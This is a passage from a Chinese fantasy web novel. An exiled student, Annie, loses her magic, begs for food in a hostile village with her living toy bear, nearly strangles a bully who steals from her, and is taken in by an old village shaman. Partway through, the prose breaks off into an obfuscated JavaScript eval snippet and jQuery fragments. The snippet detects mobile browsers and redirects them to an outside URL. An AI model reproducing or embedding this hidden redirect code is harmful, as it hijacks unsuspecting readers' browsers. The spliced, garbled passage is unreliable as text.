她的心急速跳动了起来,却很快归于平静。 光明学院最近发生了一件大事。 加丁校长发现自己从菲缇那里接手来的天才学生居然在悄悄修习黑魔法,黑暗之力已经帮助她提升到了恐怖的地步。 无奈之下,加丁校长再一次启动了审判会,亲自审判了她。最后,这个学生被剥夺了黑暗之力,遣返回家,再也不被允许进入圣城。菲缇老师十分自责,最后选择了辞职离开。 阿木木赶到的时候,整个圣城都在议论这件事。 他知道不可能这么简单。 艾德文特跟在他的后面,见阿木木不发一言,也不敢擅自开口。他看了看手上的通讯仪,自从上次发送了阿木木在返回圣城的消息后,加丁就不再回话,他也不知道发生了什么。 “诶,神使大人,等等我!” 艾德文特还是一副吊儿郎当的样子,阿木木板着脸走进光明学院,直接传送去了加丁的办公室。加丁正拿着文件翻看,愁眉苦脸的表情显而易见。 “神使大人,您……” “安妮去哪了。” “你应该也听说最近……” “那不是真相。” 加丁被阿木木强势的态度打得措手不及,好在之前早就设想这样的场面。 “好吧,事实上我把安妮的力量剥夺后放逐了她,菲缇也被我辞退了。” “放逐?” “也就是送她进入随机法阵,传送到哪里我们也不知道。” “你剥夺了她的力量,还放逐了她?!” “只是黑暗之力,她的冰灵力还在,只是没有以前厉害了而已。神使大人应该也是知道安妮修习黑魔法的事情的吧?” “知道又如何?” 加丁被噎住。面对这个人,他感到无能为力。 “我要去找她。” “可是光明学院……” “与我无关。” 他紧赶慢赶,没想到还是出了事。从发现沙漠神殿里时间流速不对劲的那一刻开始,他就知道艾德文特的任务恐怕是拖住他,没想到还是来晚了。 加丁没有回话,他知道自己是留不住这个放浪不羁的神的。 “也许您可以去奇迹平原找找,那里的面积很大,也是传送阵最多的地方。” 阿木木不置可否,直接离开了。 等阿木木传送离开,加丁才看向姗姗来迟的艾德文特:”“他们说的,你相信吗?” “我……” “说实话。” “不信。” “这很正常,我也不想瞒着你。安妮的确被我剥夺力量放逐了,只是我剥夺了她全部的力量,并且将她送去了无妄森林。” 那是必死无疑的局面…… 艾德文特捏紧了拳。 “不过我让菲缇跟着她去了,如果她们能走出来,也算是天意。” 菲缇是光明学院一等一的老师,实力自是不凡,这样看来她们或许还有几丝生机。 只是…… “好了,我想出去探险了这么久,你也该休息休息了,你的房间已经收拾好了。这一次的剪彩还是需要的,只是恐怕不会那么隆重。” “谢谢。” 艾德文特道别,默默走上熟悉的道路。 他的脑海里,那张纸条越来越清晰。 [安妮死亡,她的伪神器被加丁夺走了,如果你还愿意躲在自己的世界里,那就继续为虎作伥 莫斯卡(菲缇)] 20. 20 带着丝丝细雪的凉风拂过脸颊,跳虫在白皙的皮肤上探索,微痒的触觉里带着潮湿的空气和温暖的晨曦。视野里的暖黄色逐渐加深,沁入骨髓的寒凉也变得可以忍受…… 安妮在模糊的世界里睁开眼,不太圆润的太阳正缓缓从地平线上升起。 照在身上的晨光和族人的火堆一样温暖。 她有点懵。 “喂,谁家的小孩子,赶紧滚,别打扰我们种田!” 一个五大三粗的黑影在另一头呼和,雄浑嘶哑的声音让世界逐渐清晰起来。 安妮坐起身,皮肤上还附着着黏糊糊的、冰冰凉凉的泥土。还有一些水打湿了衣袖和裤脚。 “走不走!” 眼看影子跺着脚要过来,安妮赶紧坐起身跑开。 僵硬的四肢在活动下舒展开,那些潮湿的东西在冷风中干瘪结壳,限制着行动。安妮漫无目的地跑了一会儿,终于跑到了田野边。 这是哪里? 我还没死? 难道这就是凯德阿姨描述的天堂吗?可是这里没有爸爸妈妈,没有族人们,只有可恶的太阳一如既往地高高在上。 安妮迷茫了。 她坐在泥地边,任由身上的泥土把自己包裹成一个乞丐。 她的脑海里,还浮现着那个金碧辉煌的祭坛,那个道貌岸然的老人,以及那足以摧毁一切的魔法力量。 有人救了她?这个人在哪?目的是什么?为什么不出现? 她不明白,什么都不明白。 来来往往的人不多,穿着打补丁的破旧衣服,拎着锄头和篮子,没有给地上的小孩子一个眼神。 安妮就这么坐着、想着,却什么也想不到。 她忽然意识到什么,伸手、蓄力…… 什么也没有。 她的灵力不在了。 没有了,什么也没有了。这具干瘦的身体里空无一物,如同自己千疮百孔的心。 那她还活着做什么? 有那么一瞬间,安妮想一头撞死在对面的树上。 但是她觉得那样太傻了,也太丑了。她的尸体被发现的时候,不会有任何人同情。 就算是死,她也想死得轰轰烈烈,世人皆知。让他们觉得自己的死亡是他们的损失,或者……它们的解脱。 “咕咕……” 安妮才发现不早了。 太阳悬挂在头顶,温度并不太高,但是看角度也到中午了。安妮摸遍全身,却找不到一个金币。 这个救她的人把她送到这里,却没有给她一分钱……这个人的目的到底是什么? 她不知道,当务之急是找到吃的。 安妮并不认为在田野里驱赶躺着的小孩子以及路过她身边却没施舍一眼的人们会好心给她吃的。 但她起码要试一试。 或许她可以帮他们做事换取食物,前提是需要预支…… 安妮站起身,才发现身上的泥泞已经干掉,拍下来的只有大块大块的泥土。那些灰尘草屑沾在衣服上,让她十分邋遢。好在身上只有植物和泥土的味道,还不算难闻。 她选了一条大路走,一路上遇到过几个人,但还没开口,他们就捏着鼻子扇着空气一脸嫌弃地加速走远了。 安妮只觉得越走越委屈,越走越尴尬。 真的能得到食物吗? 她站在好不容易找到的一户人家门口,犹豫了。 安妮还发着呆,纠结要不要敲门,忽然感觉肩膀被狠狠推了一下。 “走开走开,别站在我家门口,我们没有吃的!” 是个五大三粗的汉子。 他穿着一身粗布短衣,缝满补丁的短裤,脚上踩着满是泥土的布鞋。他的手劲很大,手心不同寻常地黑,是土地的颜色。 安妮被推得一个踉跄,感觉好像肩膀被石头狠狠砸了一下。她不得已只能离开。 男人敲了敲门,“咚咚咚”三声,门板似乎都颤动起来。安妮看见一个面黄肌瘦的妇女出来开了门。同样是缝满补丁的长裙,手干枯得像秋天的树枝。 这里的人都很贫穷吗? 安妮觉得更难办了。 她试探着又走近一户人家,还没到门口,就听见“汪汪汪”的狗叫。铁链急速拖动的声音传来,安妮吓出一身冷汗,本能地后退。那户人家旁边的茅草屋里居然养了两只膘肥体壮的大土狗,此时见了陌生人,疯狂地扯动着链子往外扑,龇牙咧嘴,口水都滴在了地上。 安妮生怕链子拴不住狗,头也不回地跑了。 “呼呼……呼呼……” 好累……又好饿…… 狗叫渐渐消停了,可是安妮还心有余悸。她感觉双腿发软,全身都软,心脏还蹦跶个不停,背上一身冷汗,粘着衣服难受极了。她曾经训练后也是这样一副大汗淋漓的样子,那个时候她还可以忍着难受走回宿舍,洗一个热水澡,菲缇这时会拿着饭盒敲门…… 安妮狠狠抹了抹眼睛,衣袖上也湿了一片。 她又抹了抹,可是越抹眼泪越多,最后只能抹着眼泪,无声地走在路上。 孤独像潮水一般淹没了她,那一阵一阵的回忆和波涛一样拍打着心房。 安妮哭累了,衣袖上半干的印子、湿湿的印子混杂在一起,让这件纯白的校服越发不堪。 她吸了口气,平复一下心情,往面前最近的一户人家走去。 “扣扣扣……” 规律的三声,清脆又响亮。 没有人开门。 安妮只能再敲打。 “扣扣扣……” 还是没人开门。 安妮泄了气,往四周观察一下,又找了两户没狗的人家。 还是没人开门。 养狗的人很多,她看见棚子又不敢上前……安妮咬牙,最后闭着眼睛使劲敲击,也不管有没有节奏了。 “哐啷……吱呀……” 门上什么东西似乎掉了下来,安妮正不明所以,门开了。里面站着一个胖胖的女人,瞪着眼,眉毛似乎要挑到天上去。 “你好……我……” “滚开,又想来偷东西是不是!” “不!不是!” 她刚来,怎么会偷东西! “行了,小不要脸的乞丐,别把我儿子带坏了!再敲门把你扔去喂狗!” 女人说完把门“啪”得一关,又是咚咚的声音,似乎是木头碰撞。 安妮愣了一会儿,只能继续走。 天气很热,安妮也觉得热。也许并没有那么热的,但她很饿。她从来没体验过饿肚子的感觉,要是以前,她饿了就可以抓鱼,采蘑菇,一点也不怕危险,回家还有凯德阿姨的冬阳汤…… 安妮咽了下口水,抬起手擦了擦汗。她感觉再走下去,脚就要抽筋了。 这次一定要找到工作! 安妮给自己打气,又来到一户人家。 这户人家的装潢比起前几户都要好很多,大门两边贴了对联,屋子上还挂了灯笼。 “扣扣扣……” 安妮敲了两下门,熟悉的声音响起,有人开门了。 开门的也是个女人,但是要瘦一些,身上的衣服不鲜艳但是整洁,裹着头巾,扎着衣袖。她皱着眉打量了一下安妮,开口的声音温润但是狠厉。 “没有吃的,赶紧走。” “抱歉,但是我、我可以帮你们做事!只要一些食物就可以了,我不要钱……” “呵,就你还想要钱?食物都没有。想得美!” “拜托了,行行好吧夫人,我已经……很久没吃饭了……” “滚滚滚,你会做什么?插秧还是锄地?” 安妮噎住了。她只在课本上读到过农事,根本不知道具体怎么做。 “我可以学!” “我们没闲工夫教你,快滚!” “可……” 安妮还没说完,门又一次“啪”得关上了。 安妮复杂的神情凝在脸上,感觉心好像也跟着堕入了深渊。 她难道要饿死在这里了吗? 她不甘心。 好不容易再活一回,不能死得这么窝囊。只要活着,就还有希望。 安妮仔细回忆自己在田野边的情景,想到小路相反方向的林子,她咬咬牙找原路返回。 这里的小路弯弯绕绕,安妮也不好找。有时候下意识选了个岔路口,走了半天才发现周围的景色越来越陌生。好在安妮之前不断地观察着每户人家的棚子有没有狗,对建筑还有印象。 可是即使这样,走到原来的地方也已经快黄昏了。 即将落山的残阳还流淌着鲜血,那绯红弥漫了半边天,把面前的林子也照得诡异无比,黑暗又危险。安妮有些后悔,哪怕找人借个火也好,但是随即想到这里恐怕没有打火石…… 趁着天还没完全黑,要赶紧找到趁手的武器,安全的大树,还有食物…… 曾经她也经常在森林玩到很晚,但那时候有冰灵力傍身,她就是森林里的霸王。可是现在……安妮不得不时刻注意着周围的环境,防止踩到什么不好的东西,或者抢了谁的所有物。 她最后好不容易找到了一根长长的粗木棍,虽然看起来不太结实。 不知道为什么,这里的树木都才刚刚吐新芽,树枝都不好找。 果子自然也还没有,但是安妮找到了一些菌类。这些植物的生长是不分四季的,当然,味道也不分好坏。 安妮不敢深入寻找水源,只能把根部带着泥土的地方揪下来扔掉,剩余部分闭着眼一口吃完。 苦涩和香甜的味道交织着,让舌尖都快失去知觉了。安妮逼着自己咽下去,肚子里瞬间有了满足感。但是喉咙的干渴更加明显了,似乎这些植物进了肚子还要吸点水分。 安妮仍然有些饿,有些渴,但终究是劳累战胜了所有。 她在阴暗潮湿的树上,裹紧衣服睡了一晚。闭眼是无边无际的黑,睁眼是朦朦胧胧的黑,手脚冰凉,呼吸沉重。她只能祈祷着自己不会感冒,也不会被突然出现的猛兽袭击…… 清晨的第一缕阳光射向大地,很快,光芒蔓延,爬上了弯弯曲曲的树木,爬上了蜿蜒曲折的稻田,最后打在少女无知无觉的脸上…… 安妮睁眼,看着明亮的世界,心里有种如释重负的感觉。 在狭窄逼仄的树上睡了一晚,她恢复了好久才慢慢爬下了树。脖子和肩膀的连接处酸胀疼痛,动一下都感觉要骨折。安妮活动着僵硬的四肢,过了好一会儿才感觉血液在流动。 好渴…… 安妮在寻找食物和寻找人家之间纠结了一下,还是决定再出去看看。 她一边走一边沉思,自己究竟有什么价值。可是越思考越绝望。 她除了曾经的灵力和知识,一无所有。可是这里不需要源大陆的信息,不需要地图,也不需要灵力指导。 甚至她现在都是一个没有灵力的人。 她走到一半的脚步停了下来。 或许可以折蚂蚱。 她还会手工。 森林里没有别的,将军草还是很多的。她不指望遇到阿狸姐姐那样直接买草的人,但是她会用将军草折蚂蚱、折蜻蜓。 安妮打定主意,又开始原路返回。这一次没有多久,她就到了原来所在的地方。视线里除了熟悉的草地,却多了一样东西…… “提伯斯!” 安妮呼喊出来,呆呆的玩偶熊转过身,纽扣眼睛闪了闪。 是提伯斯! 安妮跑过去,一把抱住提伯斯,怀里有了充实的感觉。 “呜呜……你还在……” “缇啵丝……” 小熊委屈地控诉着,安妮怔愣了一下。 他说是自己把他扔在了稻田里,还好那里人不多,他才在晚上悄悄跑过来躲着…… 安妮有些尴尬,但那时候的她脑子里一片空白,确实什么也不知道了。 她还以为提伯斯已经在白光中消失了。 好在,他还在…… 安妮把提伯斯抱起来,开始在森林周围寻找将军草。将军草正像它的名字一样,坚忍不拔,并且产量极高,是草地里的常客。安妮找了一些试探着做起蚂蚱,好在闲暇时也常常给木木做手工,记忆没有出错。 一只草蚂蚱逐渐成型,安妮又开始做蜻蜓。 她不确定这些东西能不能卖出去,但每种款式做了两个,有小猪,小牛,蚂蚱,蜻蜓和青蛙。安妮拎着十个手工走上乡间的路。 她不知道在哪里可以摆摊,于是有人看就凑上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119488|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问一问,但很可惜不是被挥手赶走就是被委婉拒绝。 安妮有些失落。 这些人连温饱都难以解决,确实不太可能买她的东西。 但还是要试一试。 试探的结果就是她被拿着扫帚赶了出门。 安妮有些挫败,她懊悔自己的嘴太笨了,那些摊上的小贩说的话一句也不会。曾经的她两耳不闻窗外事,就只知道学习再学习,哪里精通生意上的弯弯绕绕。 “咕咕……” “缇啵丝……” 提伯斯站在地上,和坐下的安妮平视着。一早上过去,她一个手工没卖出去——虽然这在意料之内。 “缇啵丝~” 提伯斯拍了拍安妮的腿,开始在原地转圈。安妮一开始还不明白,发现提伯斯跳的是自己以前教的舞,瞬间反应过来了。 “你想去跳舞赚钱?” 提伯斯点了点头。 “可是……” 这样不会委屈你么……安妮这样想着,却发现自己别无他法。 “试试吧。” 安妮攥着拳头,再一次敲开了那户看起来是有钱人家的门。 “你怎么还……” “夫人,我是想让这个玩偶给你表演个节目,你要是喜欢,再……给我点吃的就好,你要是不喜欢也没关系……我……” “那你快点吧!” 妇人不耐烦地摆摆手,安妮只能把提伯斯放在地上。 提伯斯先是敬了个礼,然后开始踢腿,转圈,看起来笨拙又可爱。 一舞毕,安妮忽然听到有小孩子在叫着“好可爱”。她有些自豪,但笑得有些勉强。 “还行吧,这个熊会作揖吗?” “作揖?” 安妮愣了一下,好在阿狸之前给她科普过这些,,她立刻让提伯斯照着自己的动作作了个揖。 “好,好,吉利,这是给你的奖励!” 妇人走进屋子拿了两个馒头出来,安妮连声道谢。 “妈妈我也要看!看不清!” 另一户人家的门不知道什么时候开了,还是那个胖胖的妇人,只是身边多了个孩子,也是高高胖胖的体型。 “你,过来,我家娃子也要看表演!” “好。” 安妮虽然被使唤得不适,却也只能让妇人像招小狗一样摇手把自己喊过去。 “一次怎么算啊?” “就……两个馒头。” “两个馒头?!”妇人的嗓门很大,让安妮觉得两个馒头似乎是抢劫,“算了,我们跟她一样,不能短了一处。” 妇人说着进屋拿了两个圆圆扁扁的馍馍。 “没有馒头,馍馍一样的。” “谢谢……” 安妮接过,让提伯斯重演一遍舞蹈,结束了还主动作了个揖。 那胖妇人挑了挑眉,大嗓门喊了两句“也没什么意思嘛”,就把自己叫嚷着的孩子推进了屋。 安妮有些尴尬,但还是继续推销节目。一下午的时间,她收获了三个馒头,两个馍馍,一把枣子,一把瓜子花生,一瓶水。安妮才知道这里的人对于钱看得十分重,平时都是以物易物,每个人能给的东西也不一样,起码她第一次遇到的那个是最大方的。 安妮狼吞虎咽地吃了馒头,喝了半瓶水,才感觉活了过来。提伯斯如今好像受了伤,无法变身,也不吃东西,安妮有些担心,却无可奈何。 她现在自身难保。 不是没想过谁救了她,但她毫无头绪。 那人恐怕也不想惹麻烦,所以不见她。 安妮坐在树下思考着,突然发现身边出现了一个巨大的影子。 “谁!” 她抓住伸向食物的手,是胖胖的软软的触感。安妮顺着手的方向看过去,是今天才见过的那个胖妇人的孩子。 “哎哟,你居然敢抓我,小崽子!” 明明自己也不大,他却一口一句脏话,还想抢食物。安妮立刻警觉起来,把他推开。 “小垃圾敢推老子,给我把东西拿来!” 胖子扭曲着脸扑过来,安妮虽然心慌,却一脚踹上去。她感觉自己好像踢到了一堵墙,还是踩在了泥里,力气都被卸了一半。 那胖子被踢得后退几步,站稳了就开始捂着胸口嚎,说自己受伤了要赔偿。 “明明是你抢我的东西!” “那本来就是我家的!” “你的妈妈给我了!” “那她现在叫我拿回去!” “你!” 表演都看了,居然要把东西收回去。安妮从没遇到过这么理直气壮地无耻的人,气得直喘气。 小胖子还说着要赔衣服,赔鞋子,冲过来还要抢东西。安妮只能使劲驱赶。头皮上一阵刺痛传来,长发被攥住拉扯。安妮疼得眼泪直流,心里一股狠劲带着愤怒涌起,双手成爪死死掐住小胖子的脖子,两脚用力,竟然把他顶在了树上。 杀了他! “咳咳……放、放开……救……救……” “来啊,继续打啊,怎么不打了!” 不是要欺负我吗!都来啊,都来欺负我是吗! 深黑色的瞳孔里暗影弥漫,那死绝的狠厉吓呆了小胖子。 他翻着白眼,嘴上的口水不自觉地流下来,蹬着腿,两只手松开安妮的头发,徒劳地掰着脖子上的手。 一百多斤的胖子,在安妮手里和小鸡一样。 “缇啵丝!” 提伯斯! “啪!” “咳咳咳咳……咳咳……妖、妖怪……妖怪啊!……” 安妮一松手,小胖子立刻捂着脖子拔腿就跑,干哑的嗓子一边吸气一边大喊着。 安妮就站在原地,看着小胖子逃离。 她的记忆还停留在推开小胖子,或者说……那段黑暗的经历已经开始变模糊。 我这是怎么了? 我不是已经失去黑暗之力了吗? 安妮摊开双手,脏兮兮的爪子瘦弱极了,很难想象就是它们在刚刚差点掐死一个生命。 我到底怎么了? “缇啵丝……” 一连串的打击让安妮无暇顾及。她收拾好食物,抱着提伯斯再一次坐在树下休息。 21. 21 安妮之后的表演之旅不再那么顺利了。在又一次被赶出来之后,她终于察觉到了不对劲。 有人叫她“小巫婆”,有人看她的眼神奇怪至极,带着探寻和恐惧,有人拿着扫帚破口大骂,挥舞着不让提伯斯靠近。 她心里有些慌张。 如果连表演的机会都没有了,那她就真的什么办法也没有了。 安妮咬咬牙,还是敲响了下一家人的门。她看得出屋子好一点的人才会给一些东西,因此挑的人家打扮都算好。只是这家人的女主人开门后看起来似乎并不富裕,裙子上的补丁都有两三个。 “干嘛干嘛,离我们远点!” “你好,我……” “不看节目,快滚快滚!” 妇人的手劲很大,推得安妮一个踉跄,险些没站稳。 她立刻瞪圆了眼睛,尖声大喊着:“别想讹我啊,我可没欺负你!赶紧滚!” 妇人说完,看着安妮手里攥紧的食物转了转眼珠:“你这个巫婆还吃什么东西,来打扰我这么久,我就收你一点敲门费好了!” 她说着就跨门槛,扑上来抢口袋,安妮立刻警觉起来,把食物往身后藏。这可是她仅有的食物了! “走开!” 安妮声如洪钟,竟然把妇人吼住了。 那妇人估计也是怕四邻看见面子上挂不住,又悻悻地走回房间,一边走嘴里一边唾骂着:“小妖怪的东西谁知道吃不吃得死人,呸……” 安妮看着又一扇房门紧闭,知道自己这下午是没希望了。 明明是他抢了我的东西,凭什么还要说我的坏话! 安妮凭着记忆找到了之前那户人家,虽然胆怯,但还是挺了挺脊背,敲开了门。 开门的果然是那个胖妇人,安妮知道自己找对了。 “你要干嘛?我们不看节目了,赶紧走。” 听见妇人这略显和善和心虚的语气,安妮就知道那个小胖子已经回来把事情说了。她更加生气了,攥紧了手里的口袋:“你的孩子来抢我的东西,我把他赶走了,他就到处说我的坏话,你……” “你少……少来啊,谁说你坏话了,你听见了吗?没有证据,小心我们告你!” “那他说是你叫他来抢我的东西!” “他说了吗?小胖,过来!” “来了,妈!” 那胖子畏畏缩缩地走出来,看见安妮还夸张地躲到了妇人的身后,攥着她的衣角,“就是她,她是个妖怪!我看她的熊可爱,就去找她玩,想和她做朋友,谁知道她直接掐我的脖子,还说要掐死我!吓得我赶紧跑回来了!不信你看,现在我脖子上还有她的手指印!” “你胡说!就是你要抢我的食物!” 眼看邻居们要么在窗口探着头,要么干脆打开门,妇人更嚣张了:“各位快来评评理啊,这不知道哪来的小妖怪骗你们东西不够,还要掐死我儿子!那可是脖子啊,连接祖神的地方她也敢碰,你们说她是不是妖怪!” 邻居们没说话,没附和也没反驳。安妮被一群人围着,虽然害怕,但她又想自己是据理力争,凭什么露怯。 “我不是妖怪,我要是妖怪,你儿子还跑得回来吗?” “那是我福大命大,我妈妈给祖神捐的钱多!你就是妖怪,你不是妖怪,那个布偶熊怎么动起来的?” “他是我的契约兽!” “放屁!我们村长这辈子都没见过契约兽,你一个小丫头片子怎么可能有契约兽!你要是真这么厉害,为什么一点灵力也没有?” “就是就是……” “这小姑娘怎么说也不能骗人啊……” 眼看其他人都不信,安妮有些着急。 “不管怎样,那是我的办法。你抢我的东西还污蔑我,就是你的不对!” “我才没有,你的东西不是好好地在你手上吗?还有,我才没有污蔑你,你就是小巫婆、小妖怪!我们不会再被你骗东西的!” 胖子梗着脖子大喊着。 安妮求助地看着周围的人,可是她绝望地发现没有人愿意相信她。他们做邻居这么久,还不知道这家人的嘴脸吗? 不,他们知道,所以他们只是说她是巫婆、是妖怪,却没有要烧死她,打死她。她该庆幸吗? 安妮最后,还是只能拖着疲惫的身体回到森林。 这一下午,她什么也没有得到,除了吵了一架后身心俱疲的自己。 看着手里所剩无几的食物,安妮心中又是阵阵悲凉。 这样窝囊地活着,和死了有什么区别…… 吵一架也是很废体力的,安妮只能吃了东西,继续在森林里搜寻蘑菇野菜。她佝偻着,扫视一片片草丛,视线却越来越模糊。 可是天快黑了……她只能擦掉眼眶里的泪水,告诉自己不能懈怠,然后继续寻找…… 地平线上的太阳散发着最后的光芒,在熟悉的大树上,安妮度过了又一个孤独的夜晚。 安妮这一次是被食物的香气唤醒的。 吃了两天寡淡无味的干粮,她现在却闻到了水果的清香。那是一种带着甘甜汁液的醇厚又新鲜的香气,让她不自觉地想到那些挂在枝头还披着露珠的苹果。 安妮咽了咽口水,觉得嗓子干涩得厉害。她环顾四周,看见一个穿着黑袍子的老人正倚在树边睡觉,旁边的篮子香气四溢。 一定是新鲜的水果…… 安妮想象了一下那红彤彤圆滚滚的水果,就忍不住流口水。但她不知道自己应该怎么去要。连干粮都吝啬的村民不可能愿意把一个新鲜水果给她的…… 要不,直接拿?反正她睡着了,也不会发现。 不行……那是偷窃。 可是她好饿,又渴又饿…… 安妮又看了眼那个篮子。篮子被布盖着,看不清底下的形状。但那香气如此浓郁,露出的一角是比夕阳还灿烂的鲜红。 那果子一定熟透了。 安妮静悄悄地下了树,不想吵醒老人。 但是她也没有走过去,她在清点自己的东西。 只有剩下的一点点食物了,为了防止蔬菜干掉烂掉,她昨晚吃的蘑菇。但即使如此,她也只有一些瓜子花生了。不吃瓜子还是害怕口渴得太快。 这怎么换? 直接拿走吧,她也跑不过你。 但是万一这也是她唯一的食物呢?万一她回去了,她的家人责怪她,嫌弃她呢? 安妮,都什么时候了,你还考虑别人,你现在自身难保! 不,我还可以在森林里找吃的,睡在树上。 安妮不知不觉,已经站到了老人身前。她回过神,看着面前的老人。 她睡得很熟,嘴唇微张,胸口起伏。银灰的头发藏在黑色袍子下,慈祥安定的面容,双颊还有些泛红。她的袍子很大,裹住了整个身体,但还是看得出袍子下骨瘦如柴。高鼻梁,薄嘴唇,尖下巴。 比起安妮这副乞丐模样,她更像一个巫婆。 算了…… 安妮闭上眼睛,深吸口气,伸手…… 轻轻推醒了老人。 凯德阿姨说过,不能因为自己的弱小,威逼强大者施舍。 人要有骨气。 “嗯……嗯?哪个小兔崽子打扰我睡觉?” 安妮听着老人迷迷糊糊的话,有些紧张。看来她并不好说话……但总要试一试。 “老婆婆,我想拿一个你的水果吃,我可以帮你……” “滚滚滚!这可是我好不容易找到的水果,不可能给你!” 老太婆一下子坐起来,拉过身边的篮子。篮子上的布又掉了一些,里面又大又红的苹果露了出来。 “看什么看,想抢老婆子我的东西吗?赶紧滚,不许看!” 安妮有些尴尬,但是看着老太婆握着篮子的枯瘦干瘪的手,还是移开了视线:“对不起,我只是太饿了……” “你饿和我有什么关系?快点滚!” “老婆婆,真的不能……” “不能不能!” “那……你能不能告诉我你的苹果是在哪里找到的,我也想去摘一些。” 老太婆愣了一下,但那双眯眯眼很快又闭上了:“这是我家果园的东西,你怎么摘?” “啊,对不起……我以为这是森林里的……” “那你还不快滚!” 安妮被打断了这么多次,也知道恐怕没希望了。她只能在心里叹口气,迈着沉重的步伐转身离开。鼻腔里,水果的清香久久散之不去,冲到眼眶凝成露珠。 安妮正走着,突然听到背后的老人喊了一句。 “站住。” 不是那种充满敌意的声音。 很平淡,也很公事公办。 安妮不解地转过头,老太婆几步跟了上来,从篮子里拿出一个苹果,塞到了她手中。 安妮的眼睛瞬间亮了,心跳快得好像要停止。 “给,给我的?” 她的声音有些颤抖,但充满期待。 老婆婆横了她一眼,错开身继续往前走,但又很快顿住:“在这儿吃,吃完跟我走。” “吃完……跟你走?” 安妮狼吞虎咽地嚼着苹果,果然是香甜多汁,清脆可口。她已经好久没吃过这么好吃的东西了…… 那水果的汁液在口腔里迸发开,好像也窜到了眼睛里,让她激动不已。四肢百骸似乎都因为这水果多了些力量。 老婆婆在一边沉默地看着,面无表情,但眼底的满意和欣喜却给浑浊的眼眸增添了一丝光彩。 安妮吃完水果,吮吸干净手指,才发现老婆婆一直看着自己。她有些尴尬,但还是端正了身板。就在她以为老婆婆要吩咐什么的时候,老婆婆直接走了。 虽然不知道要去哪里,安妮还是立刻跟上。 这是一条奇怪的路线,和通往居民区的小路完全相反的路线。安妮不是没去过,走了一会儿发现没几户人家,就放弃了。 她顶着路人奇怪的眼光,跟在老婆婆身后。老婆婆目标明确,于是两人沉默着走到了一间屋子前。 这间屋子的外观和其他的建筑有些不同。别的人家要么是平顶的稻草房,要么有一些全是灰黑的砖瓦,这间屋子却是红色的泥墙,还多了许多黄色的符纸,两边挂着奇奇怪怪的红绳,地上很多灰色的尘土。 “嘎吱——” 门被推开,一股香灰的味道扑面而来,呛得安妮直冒眼泪。 她才发现这间屋子的里面也很奇怪。屋子最前方有一张小桌子,方方正正的四条腿,上面摆着瓜子花生红枣,还有新鲜的水果。正中间有个圆肚弯腿的炉子,上面燃着三根香。桌子上方的墙上贴了一副奇怪的画,画上的人穿着红黄相间的衣服,红唇浓眉,手里端着个金元宝。然后是两边摆放整齐的桌椅,正中两个圆形的垫子。旁边的两扇门关着。 “去,给他上柱香。” 老婆婆从凳子边的纸箱子里拿出来三根香,安妮乖乖接住,借着蜡烛点燃,然后被推到那个炉子面前。 那个抱着元宝的人好像笑眯眯地盯着她看。 “作三个揖。” 老婆婆示范了一下,然后拿走了原来燃完了的香。安妮跟着做完,然后把新的插了上去。 老婆婆又跟着念了几句什么,然后从案桌上拿了一个苹果,递给安妮:“饿了就吃。” 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安妮想说自己不是小巫婆,但还是乖乖闭了嘴。她需要一个安全的庇护所。另外,她说自己是老巫婆…… “你以后会知道的,先把眼前管好吧。我教你做人偶。” 老婆婆说着把安妮拉进了另一间屋子。这屋子很明显是休息睡觉的地方,虽然桌子上还是有很多奇怪的符纸,毛笔,甚至还撒了些米粒。 老婆婆从桌子边的大纸箱里抓出一捆草,开始做。安妮聚精会神地看着,直到她突然停止了动作。 “你不拿点跟着学,看就会了?” “哦哦……” 安妮赶紧拿了些草出来,不假思索地复原老人之前的动作,一个半成品很快做好,正停在老人停止的那一步。 老人的眼睛闪了闪,没说话,继续开始手上的动作。 很快,一个稻草人偶做好了。安妮也很快完工。 “你学会了?” “嗯,记住了。” “做一个我看看。” 安妮于是又自己做了一遍,虽然偶有停顿,但也算顺利。 “就这样,一步都不能错,做好了给我放在桌子上。” 安妮点点头。 “厨房在对面的屋子,今中午吃什么你自己决定,出去吧。” 安妮受宠若惊地点头,没想到自己刚来就被委以重任。 她已经知道了食物的重要性。 这里没有灵果,有的只是能饱餐一顿的普通食物,但能够下咽的就弥足珍贵。 两天的风餐露宿下来,她更加珍惜丰衣足食的生活了。 “站住,你苹果没拿。” “哦哦,抱歉……” 安妮赶忙返回拿走苹果。 一连串的变故让她脑子都转不过来了,她没想到早上自己还睡在冰冷僵硬的大树上,转眼就有了自己的房间和足够的食物。 代价只是每天做五个稻草人。 厨房里的物件很杂很乱,粮食也很多,安妮在菜篓子里看见了自己在森林里找到的几种蘑菇和野菜,还有墙壁上挂着的苞米。桌子上有很多大米蔬菜,盖着的盆子里有一坨肉,灶台上陈列着各式各样的调味料。 这样富裕的环境让安妮感到无比充实和安心。她深呼吸一口气,开始制作第一顿午餐。 简简单单的炒蔬菜,蘑菇炒肉,却是她死里逃生以来第一次吃上的热乎饭菜。 老人看安妮吃得狼吞虎咽,也不急着问话,等安妮吃饱喝足,她才刨了刨自己还剩一半米饭的小瓷碗。 “你叫什么名字?” “安妮……象征光明的意思。” “哟呵,还挺有文化——这是圣语里的吧。 安妮懵懵懂懂地点头。 她对圣语的了解不多,但凯德阿姨提到过。 老人戳了戳晶莹饱满的米粒:“我不在意你是哪里来的,但如果给我惹事,我会立刻把你赶出去。平时就在院子里呆着,我没叫你不要轻易出门。” “好的。” 安妮也不知道自己接下来应该做什么,为今之计大概就是在这里待着——待多久?不知道。 “我是这里的巫师,你可以称呼我祖神使,也可以叫我巫阿婆。” “祖神?” “那是你无法窥探的存在,你只要知道这里的人信奉祖神,最看重自己的脖子和天灵盖就行了——所以不要随便掐别人,或者摸谁的头。” 安妮后怕地点了点头,她还记得那些人说到祖神时带着愚昧凶狠的眼神。 “吃完了,收拾吧。节约一些,以后每顿饭做一个菜就够了,也少炒肉……”巫阿婆敲着碗边,“去洗个澡收拾收拾自己,屋里有你的衣服。” 